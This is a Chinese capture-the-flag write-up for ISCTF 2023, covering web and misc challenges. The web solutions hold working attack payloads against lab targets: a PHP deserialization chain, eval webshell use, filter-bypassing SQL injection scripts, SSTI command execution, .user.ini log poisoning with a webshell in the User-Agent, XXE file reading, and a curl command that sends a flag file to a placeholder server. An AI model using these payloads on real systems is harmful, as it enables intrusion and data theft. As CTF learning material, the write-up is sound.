RE:ISCTF2023

WEB

圣杯战争!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}

class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;

public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}

if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>

php反序列化

__invoke() :将对象当作函数来使用时执行此方法

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

__toString(): 当一个对象被当作字符串使用时触发

首先先找反序列化链入口,这里没有 __destruct(),能触发的只有 __wakeup(),入口从__wakeup()进,出口从__invoke()include

出现的魔术函数,有 __wakeup()__toString()__invoke()__get()

__wakeup()是入口,$this->Saber 是被当成字符串使用的,进入 __toString(),然后__get(),触发__invoke()伪协议包含读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class artifact {
public $excalibuer;
public $arrow;

public function __construct() {
$this->excalibuer = new prepare();
$this->arrow = new prepare();
}
}

class prepare {
public $release;

public function __construct() {
$this->release = new saber();
}
}

class saber {
public $weapon;

public function __construct() {
$this->weapon = "php://filter/read=convert.base64-encode/resource=flag.php";
}
}

class summon {
public $Saber;
public $Rider;

public function __construct() {
$this->Saber = new artifact();
$this->Rider = "";
}
}

$a = new summon();
$serialized = serialize($a);

echo urlencode($serialized);

?>

payload

1
O%3A6%3A%22summon%22%3A2%3A%7Bs%3A5%3A%22Saber%22%3BO%3A8%3A%22artifact%22%3A2%3A%7Bs%3A10%3A%22excalibuer%22%3BO%3A7%3A%22prepare%22%3A1%3A%7Bs%3A7%3A%22release%22%3BO%3A5%3A%22saber%22%3A1%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A5%3A%22arrow%22%3BO%3A7%3A%22prepare%22%3A1%3A%7Bs%3A7%3A%22release%22%3BO%3A5%3A%22saber%22%3A1%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A5%3A%22Rider%22%3Bs%3A0%3A%22%22%3B%7D

绕进你的心里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>

md5为强判断通过数组绕过

1
zhurong[]=1&hongmeng[]=2&shennong[]=3

pan_gu使用正则回溯绕过

1
2
3
4
5
6
7
import requests

data={"pan_gu":"a"*1000000+"2023ISCTF"}
url=""
res = requests.post(data=data,url=url)

print(res.text)

或者使用控制台运行

1
2
3
4
5
6
7
8
(await(await fetch("/?zhurong[]=1&hongmeng[]=0&shennong[]=1", {
"headers": { "content-type": "application/x-www-form-urlencoded" },
"body": "pan_gu=" + "0".repeat(1000000) + "2023ISCTF",
"method": "POST"
})).text()).match(/ISCTF\{[^}]+\}/g).forEach(match => {
console.log(match);
});

Where is the flag

1
2
3
4
5
6
7
<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>

传参

1
1=system('ls;tac f*');

得到

1
FLAG1:ISCTF{Y0u_6u

使用中国蚁剑进行连接

发现在根目录存在

flag

1
FLAG2:cceeded_in_f

flag.sh

1
2
3
4
5
export FLAG3=ind1n9_f1ag}
FLAG3=ind1n9_f1ag}

rm -f /flag.sh

综上flag为

ISCTF{Y0u_6ucceeded_in_find1n9_f1ag}

网上看到的控制台一键梭命令

1
2
3
4
part1 = (await eval(`system("cat flag.php");`)).match(/ISCTF\{.{4}/g)[0]
part2 = (await eval(`system("cat /flag2");`)).trim()
part3 = (await eval(`system("env");`)).match(/[a-f0-9\-]{22}\}/g)[0]
console.log(part1 + part2 + part3)

easy_website

用户名输入

1
admin'

返回

1
2
3
数据库查询失败:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3590cb8af0bbb9e78c343b52b93773c9'' at line 1<br />
<b>Warning</b>: mysqli_fetch_array() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/config.php</b> on line <b>23</b><br />
用户名或密码错误

说明此题考察sql注入

测试发现对空格存在过滤,使用/**/进行替代

对-和+进行过滤,使用#进行绕过

此外存在对order中的or进行过滤,使用双写进行绕过

1
2
1' oorrder/**/by/**/1/**/#
1' oorrder/**/by/**/1,2/**/#

发现为显示位为1

打联合注入(union)

1
username=admin'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/group_concat(database())#&password=1

得到数据库名字为

1
用户$users$登录成功

注入获取表名(注意information需要双写oorr)

1
username=1'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')#&password=1

获得表名为

1
用户$users$登录成功

接着注入获取列名

1
username=1'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')#&password=1

获得users库中users表的列

1
用户$USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,ip,time,user,password$登录成功

注入获取flag

1
username=1'/**/anandd/**/1>2/**/uniunionon/**/seselectlect/**/(seselectlect/**/group_concat(passwoorrd)/**/from/**/users.users)#&password=1

获得flag

1
用户$21232f297a57a5a743894a0e4a801fc3,084e0343a0486ff05530df6c705c8bb4,ISCTF{37785fb9-580c-484c-8885-8152477d66ba}$登录成功

wafr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{
assert($_POST['code']);
}

一些常规过滤

preg_match正则匹配POST传入的cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim这些命令,以及字符。

未对system进行过滤

使用\将命令隔开

1
2
code=system('ca\t f*')
code=system('n\l f**ggggggg*')

webinclude

dirsearch扫描发现了

flag.php和index.bak路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 function string_to_int_array(str){
const intArr = [];

for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);

const partA = Math.floor(charcode / 26);
const partB = charcode % 26;

intArr.push(partA);
intArr.push(partB);
}

return intArr;
}

function int_array_to_text(int_array){
let txt = '';

for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}

return txt;
}


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}

当hask为dxdydxdudxdtdxeadxekdxea是输出flag.html

1
hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))))

函数功能说明

  1. string_to_int_array(str):
    • 输入:字符串 str
    • 处理:遍历字符串的每个字符,计算其 Unicode 编码(charcode)。
    • 计算:
      • partA = Math.floor(charcode / 26)(商)
      • partB = charcode % 26(余数)
    • 输出:数组 intArr,包含每个字符的 partApartB(按顺序交替存放)。
    • 示例:字符 'm'(编码 109)→ partA=4109/26=4.19 取整),partB=5109%26=5)→ 数组添加 [4, 5]
  2. int_array_to_text(int_array):
    • 输入:整数数组 int_array
    • 处理:遍历数组的每个整数 n,计算 97 + n 并转换为对应字符(ASCII 97 是 'a')。
    • 输出:字符串,其中每个整数映射为 a-z0->'a', 1->'b', …, 25->'z')。
    • 示例:整数 497+4=101 → 字符 'e'

核心转换流程

输入 parameter 经过以下四步转换:

javascript

1
2
3
4
5
6
7
hash = int_array_to_text( 
string_to_int_array(
int_array_to_text(
string_to_int_array(parameter)
)
)
);

目标:hash === 'dxdydxdudxdtdxeadxekdxea'

逆向推导目标输入

我们需要找到 parameter 使得最终输出等于目标字符串。从后向前逆向推导:

  1. 最终输出 hash'dxdydxdudxdtdxeadxekdxea':

    • 长度 24 个字符。

    • 使用 int_array_to_text 的逆操作:每个字符减去 97,得到整数数组:

      javascript

      1
      2
      // 例如:'d' -> 100 - 97 = 3, 'x' -> 120 - 97 = 23
      [3,23, 3,24, 3,23, 3,20, 3,23, 3,19, 3,23, 4,0, 3,23, 4,10, 3,23, 4,0]
  2. 上一步是 string_to_int_array 的输出:

    • 输入是字符串(记为 str2),长度应为整数数组长度的一半(24/2=12)。

    • 整数数组每两个元素 [partA, partB] 对应 str2 的一个字符:
      charcode = partA * 26 + partB

    • 计算:

      javascript

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      // 示例:第一组 [3,23] -> 3*26 + 23 = 101 -> 字符 'e'
      [3,23] -> 101 -> 'e'
      [3,24] -> 102 -> 'f'
      [3,23] -> 101 -> 'e'
      [3,20] -> 98 -> 'b'
      [3,23] -> 101 -> 'e'
      [3,19] -> 97 -> 'a'
      [3,23] -> 101 -> 'e'
      [4,0] -> 104 -> 'h'
      [3,23] -> 101 -> 'e'
      [4,10] -> 114 -> 'r'
      [3,23] -> 101 -> 'e'
      [4,0] -> 104 -> 'h'
    • 得到中间字符串 str2 = "efebeaehereh"

  3. 上一步是 int_array_to_text 的输出:

    • 输入是整数数组(记为 arr1)。

    • str2 应用逆操作:每个字符减去 97,得到 arr1

      javascript

      1
      2
      // 例如:'e' -> 101 - 97 = 4, 'f' -> 102 - 97 = 5
      [4,5, 4,1, 4,0, 4,7, 4,17, 4,7]
  4. 上一步是 string_to_int_array 的输出:

    • 输入是原始 parameter,长度应为 arr1 长度的一半(12/2=6)。

    • 每两个元素 [partA, partB] 对应一个字符:

      javascript

      1
      2
      3
      4
      5
      6
      7
      // 示例:第一组 [4,5] -> 4*26 + 5 = 109 -> 'm'
      [4,5] -> 109 -> 'm'
      [4,1] -> 105 -> 'i'
      [4,0] -> 104 -> 'h'
      [4,7] -> 111 -> 'o'
      [4,17] -> 121 -> 'y'
      [4,7] -> 111 -> 'o'
    • 得到原始输入 **parameter = "mihoyo"**。

验证

parameter = "mihoyo" 正向执行流程:

  1. string_to_int_array("mihoyo")[4,5, 4,1, 4,0, 4,7, 4,17, 4,7]
  2. int_array_to_text([4,5,...])"efebeaehereh"
  3. string_to_int_array("efebeaehereh")[3,23, 3,24, ... ,4,0]
  4. int_array_to_text([3,23,...])"dxdydxdudxdtdxeadxekdxea"(等于目标值)

控制台逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const hash = 'dxdydxdudxdtdxeadxekdxea'

function int_array_to_string(intArr) {
let result = '';

for (let i = 0; i < intArr.length; i += 2) {
const partA = intArr[i];
const partB = intArr[i + 1];

const charcode = partA * 26 + partB;

result += String.fromCharCode(charcode);
}

return result;
}

function text_to_int_array(txt) {
const intArray = [];

for (let i = 0; i < txt.length; i++) {
const charCode = txt.charCodeAt(i) - 97;
intArray.push(charCode);
}

return intArray;
}

let parameter = hash;

parameter = text_to_int_array(parameter);
parameter = int_array_to_string(parameter);
parameter = text_to_int_array(parameter);
parameter = int_array_to_string(parameter);

console.log(parameter);

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def reverse_process(target_hash):
# 步骤1: 将目标哈希转换为整数数组 (int_array_to_text的逆操作)
step1_arr = [ord(char) - 97 for char in target_hash]

# 步骤2: 将整数数组转换为字符串 (string_to_int_array的逆操作)
step2_str = ""
for i in range(0, len(step1_arr), 2):
char_code = step1_arr[i] * 26 + step1_arr[i+1]
step2_str += chr(char_code)

# 步骤3: 将字符串转换为整数数组 (int_array_to_text的逆操作)
step3_arr = [ord(char) - 97 for char in step2_str]

# 步骤4: 将整数数组转换回原始字符串 (string_to_int_array的逆操作)
original_str = ""
for i in range(0, len(step3_arr), 2):
char_code = step3_arr[i] * 26 + step3_arr[i+1]
original_str += chr(char_code)

return original_str

# 目标哈希值
target_hash = 'dxdydxdudxdtdxeadxekdxea'

# 执行逆向过程
original_parameter = reverse_process(target_hash)
print("原始参数值:", original_parameter) # 输出: mihoyo

# 验证正向过程
def string_to_int_array(s):
intArr = []
for char in s:
charcode = ord(char)
partA = charcode // 26
partB = charcode % 26
intArr.append(partA)
intArr.append(partB)
return intArr

def int_array_to_text(arr):
txt = ''
for num in arr:
txt += chr(97 + num)
return txt

# 正向计算以验证
step1 = string_to_int_array(original_parameter)
step2 = int_array_to_text(step1)
step3 = string_to_int_array(step2)
result_hash = int_array_to_text(step3)

print("验证结果:", result_hash == target_hash) # 输出: True

得到mihoyo

访问

1
?mihoyo=1

返回

1
2
3
4
show me your parameter!!!
Warning: include(1): failed to open stream: No such file or directory in /var/www/html/index.php on line 5

Warning: include(): Failed opening '1' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 5

访问

1
?mihoyo=/var/log/nginx/access.log

发现返回日志

打文件包含

1
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

得到flag的base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(async () => {
try {
// 发送请求
const response = await fetch("/?a=php://filter/read=convert.base64-encode/resource=flag.php;");

// 获取响应的文本内容
const responseText = await response.text();
console.log("原始响应内容:");
console.log(responseText);

// 尝试提取可能的 base64 内容
// Base64 通常只包含字母、数字、+、/ 和 =
const base64Pattern = /[A-Za-z0-9+/=]+/;
const match = responseText.match(base64Pattern);

if (match) {
const possibleBase64 = match[0];
console.log("提取的 Base64 字符串:", possibleBase64);

try {
// 尝试解码
const decodedData = atob(possibleBase64);
console.log("Base64 解码后的内容:");
console.log(decodedData);

// 尝试匹配 flag
const flagMatch = decodedData.match(/flag\{[^}]+\}/);
if (flagMatch) {
console.log("找到 Flag:", flagMatch[0]);
} else {
console.log("在解码内容中未找到 Flag");
}
} catch (e) {
console.error("Base64 解码失败:", e.message);
console.log("尝试手动检查提取的 Base64 字符串");
}
} else {
console.log("响应中未找到可能的 Base64 内容");
console.log("服务器返回的内容可能是:");
console.log(responseText);
}
} catch (error) {
console.error("请求出错:", error);
}
})();

1z_Ssql

打开为一个登录界面

打联合注入失败

跑fuzz发现以下为黑名单

1
2
3
4
5
6
7
8
9
for
where
+
=
like
union
sleep
sys
innodb

过滤打布尔盲注

由于复现无数据库表名与列名

脚本来源

https://j-0k3r.github.io/2023/11/29/ISCTF%202023/#1z-Ssql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
table1 = []
table2 = []
with open('./some name1.txt','r') as f1:
line1 = f1.readlines()
for i in line1:
table1.append(i.strip())
with open('./some name2.txt','r') as f2:
line2 = f2.readlines()
for i in line2:
table2.append(i.strip())
url = 'http://gz.imxbt.cn:20896/'

while 1:
for i in table1:
for j in table2:
payload= "admin' and ascii(substr((select group_concat({}) from bthcls.{}),1,1)) > 0 -- ".format(j,i)
data= {
"username":payload,
"password":"1"
}
r=requests.post(url,data=data)
if 'hint' in r.text:
print("table",i,"columns",j)

爆破数据库与密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import sys
import time


url = "http://gz.imxbt.cn:20896/"
dic = ' id,ctfshow}{-_1234567890qeryupagjklzxvbnm'
flag = ""

#for x in range(1,7):
for x in range(1,15):
for i in range(32,127):
# 拼接payload,使其判断数据库名称pos位置上的字符是否等于当前字符
# 爆数据库名 bthcls
payload = "admin' and ascii(substr(database(),{},{})) > {} -- ".format(x,x,i)
# 使用子查询获取当前数据库中所有表名并拼接
# payload = "admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)) > {} -- ".format(x, i)
# 爆列名
# payload = "admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)) > {} -- ".format(x, i)
# 爆破登录密码 we1come7o1sctf
# payload = "admin' and ascii(substr((select password from bthcls.users),{},1)) > {} -- " .format(x,i)

print("Testing payload:", payload)


data = {
"username": payload,
"password": 0,
# "submit":"登录"
}
r = requests.post(url, data=data)
if 'You are so smart!' not in r.text:
flag += chr(i)
print(flag)
break
print(flag)

登录得到flag

恐怖G7人

输入框输入

1
{{2*2}}

输出4

打ssti

1
{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

返回

1
__pycache__ app.py bin dev etc f1__A_g.txt home lib media mnt opt proc requirements.txt root run sbin srv static sys tmp usr var waf.py

查看f1__A_g.txt

1
{{lipsum.__globals__.__builtins__.__import__('os').popen('cat f1__A_g.txt').read()}}

得到假flag

使用工具焚靖

表单输入 char,getshell

a3799a25dac4ffcfc2be87c83ec985e6

查看环境变量输入

1
printenv

得到flag

ez_ini

打开为一个文件上传前端

直接上传php,发现存在限制

扫描发现存在/upload.php

根据题目可能考察.user.ini配置文件

.user.ini中写入auto_prepend_file = 1.png

上传

image-20250615111551478

上传含有一句话木马的1.png

发现存在过滤,且无法上传png文件

换一种方法

直接在.user.ini填写

1
auto_append_file=/var/log/nginx/access.log

然后UA加上一句话木马

POST包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /upload.php HTTP/1.1
Host: gz.imxbt.cn:20904
Content-Length: 222
Cache-Control: max-age=0
Origin: http://gz.imxbt.cn:20904
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrkeu0k4ffXXbcn5H
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36<?=eval($_POST[1]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gz.imxbt.cn:20904/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive

------WebKitFormBoundaryrkeu0k4ffXXbcn5H
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: application/octet-stream

auto_append_file=/var/log/nginx/access.log
------WebKitFormBoundaryrkeu0k4ffXXbcn5H--

然后再/upload.php进行命令执行

由于是复现环境,在根目录直接cat flag失败,读取环境变量获得flag

1
1=system('printenv');

ez_php

查看源码发现在register.php会创建一个xml文件

存在extract变量覆盖和XXE注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "utils/function.php";
$config = include "utils/config.php";
$user_xml_format = "<?xml version='1.0'?>
<userinfo>
<user>
<username>%s</username>
<password>%s</password>
</user>
</userinfo>";
extract($_REQUEST);
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");

if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");

if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
$user_xml = sprintf($user_xml_format, $username, $password);

register_user($username, $config['user_info_dir'], $user_xml);

config.php

user_info_dir存放位置在/tmp/users/

1
2
3
4
5
<?php
libxml_disable_entity_loader(false);
return array(
"user_info_dir" => "/tmp/users/"
);

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php



function is_user_exists($username, $user_info_dir): bool
{
$dirs = array_filter(glob($user_info_dir . '/*'), 'is_dir');
foreach ($dirs as $dir) {
$dirName = basename($dir);
if($dirName === $username) return true;

}
return false;
}

function register_user($username, $user_info_dir, $user_xml){
$user_dir_name = $user_info_dir.$username;
mkdir($user_dir_name, 0777);
file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml);
}

function get_user_record($username, $user_info_dir)
{
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}

注册一个用户会创建$user_info_dir.$username的目录,并新建一个用户名.xml的文件,并把$user_xml写入

所有的变量都是可控的。

构建payload

1
/register.php?username=123&password=1&config['user_info_dir']=/var/www/html/

访问123/123.xml

image-20250717092502461

获得了回显

然后根据function.php中的接受外部实体注入

1
2
3
4
5
6
7
function get_user_record($username, $user_info_dir)
{
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}

打XXE

用register.php里面的XML格式,构造

1
2
3
4
5
6
7
user_xml_format=<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<userinfo>
<user>
<username>%26xxe;</username>
<password>123</password>
</user>
</userinfo>

image-20250717093734928

注意:Content-Type应该为

1
Content-Type: application/x-www-form-urlencoded

使用错误密码登录,进行信息带出

image-20250717093803199

尝试路径穿越读flag

image-20250717094150244

得到flag

image-20250717094214930

Fuzz!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
$file = $_GET['file'];
}
system('curl '.$file);

题目要求使用curl命令执行

fuzz一下

1
2
3
4
5
6
7
8
<?php
for ($i = 32; $i < 129; $i++) {
$char = chr($i);
if (!preg_match('/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i', $char)) {
echo $char;
}
}
?>

以下字符可使用

1
-./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz{|}�

排除数字和字母

1
-./:[]{|}�

“|”没ban,可以放在开头结束前面的curl,然后拼接我们自己的系统命令

flag关键字过滤可以用”[]”正则匹配绕过

payload:

1
2
3
?file=|tac%20/fl[a-z]ggggggg.txt

#ISCTF{Fuzz_is_a_great_trick_Did_you_find_curly_braces?-Jay17}

curl外带:

1
2
?file=-T /fla[g]gggggg.txt -a http://vps的ip:port
#自己的服务器nc -lvp port

MISC

PNG的基本食用

png1

修复宽高

image-20250717101903426

ISCTF{png-is-

png2

image-20250717101646359

image-20250717101636299

得到so-ez-

png3

010查看存在7z压缩包

image-20250717102004374

提取得到part3.txt

for-you}

ISCTF{png-is-so-ez-for-you}

小蓝鲨的秘密

得到一个加密的压缩包猜测为伪加密

修复得到一个flag.txt

1
2
3
4
可爱的小蓝鲨不知道这个字符串是什么,强大的你,你能告诉小蓝鲨吗?

U2FsdGVkX1/ij5Hxtt6G8tDvbXIQcMLJ6isLpLmxqxW8mOmFIB4DgBGXSR3ceEcj

和图片

图片修复宽高后

image-20250717102908362

得到key 15CTF2023

txt中的内容base64解码为

1
Salted__⏑ñ¶Þ†òÐïmrpÂÉê+¤¹±«¼˜é… €—IÜxG#

后续参考其他师傅wp发现为AES解密

http://www.esjson.com/aesEncrypt.html

image-20250717103951800

杰伦可是流量明星

login.mp3为一个压缩包

里边为一个crypto.mp3与login.pcapng

image-20250718160136070

login.pcapng流量包里存在flag

你说你爱我?尊嘟假嘟?

image-20250718163205622

打开word为

你说你爱我 尊嘟 假嘟

类似于Ook加密

使用 Ook. Ook! Ook?分别替换 你说爱我,尊嘟,假嘟

Ook在线加解密工具

ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z

image-20250718164650764

easy_zip

爆破

image-20250718165657214

566319

Ez_misc

ppt中有以下五个密码

P@ssW0rd

Password

Passisctf

isctf2023

M13c_!ps2s23

正确密码为M13c_!ps2s23

解压得到图片

打不开图片

010查看发现JFJF块,缺少jpg文件头

image-20250718170330879

补全jpg文件头

得到二维码

image-20250718170355157

蓝鲨的福利

image-20250718170809764

发现IHDR块,但是少了PNG文件头

加上89 50 4E 47

image-20250718171050592

张万森,下雪了

给了字典和压缩包

直接字典爆破

image-20250718171406513

flag是假的

image-20250718171739906

tip.txt为base64

发现其base64解密17此后无法继续解码

参考wp发现考察snow解密

对17次base64解密后的内容字符统计得到

image-20250718172254764

密码为ISCTFZ023

使用snow解密

image-20250718172853876

镜流

image-20250719193610052

爆破得到密码306256

hint提示把照片缩小10倍

1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image

img = Image.open('1new.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//10,h//10))

for x in range(w//10):
for y in range(h//10):
(r,g,b)=img.getpixel((x*10,y*10))
img_obj.putpixel((x,y),(r,g,b))

img_obj.save('min10.png')

得到一张缩略图

lsb存在图片隐写提取bin得到一张图片

image-20250719194537663

spalshes

spalshes.txt中的密文base64解密后得到

image-20250719194904996

开始以为是另类加密密文,后面发现为坐标

使用脚本绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import matplotlib.pyplot as plt
# 提供的数据
data =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,
4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,
5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,
7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,
9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,
11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1]
# 将数据分割成 x 和 y 坐标
x = data[::3]
y = data[1::3]
# 绘制散点图
plt.scatter(x,y)
plt.title('Scatter Plot')
plt.xlabel('X-axis')
plt.ylabel('Y-axis')
plt.show()

image-20250719195842880

得到解压密码895736

得到二维码扫描得到flag

stream

为数据库注入流量包

找所有注入成功的 HTTP Response 对应的 HTTP Request

这里是frame.len == 1072所有成功的 HTTP Response 对应的 HTTP Request

按顺序扒出其中的字符

脚本方案参考

https://www.cnblogs.com/yunqian2017/p/15124198.html

小猫

image-20250719202324279

发现存在坐标

image-20250719202344329

发现存在jpg文件头

提取bin删除多余十六进制

image-20250719202523688

猜测核心价值观简历xy坐标,上图坐标依次读取,最后为核心价值观解密

1
2
3
4
5
6
7
8
9
10
11
12
3,2  3,2  3,2  3,3  3,1  3,2  2,1
3,2 4,2 4,2 3,3 2,1 3,2 2,1
3,2 4,1 3,2 2,1 4,1 2,1 4,1
2,3 4,1 2,2 3,2 3,2 3,2 1,2
4,1 4,1 3,2 1,2 4,1 1,1 3,2
3,2 4,1 3,1 4,1 4,1 4,1 2,3
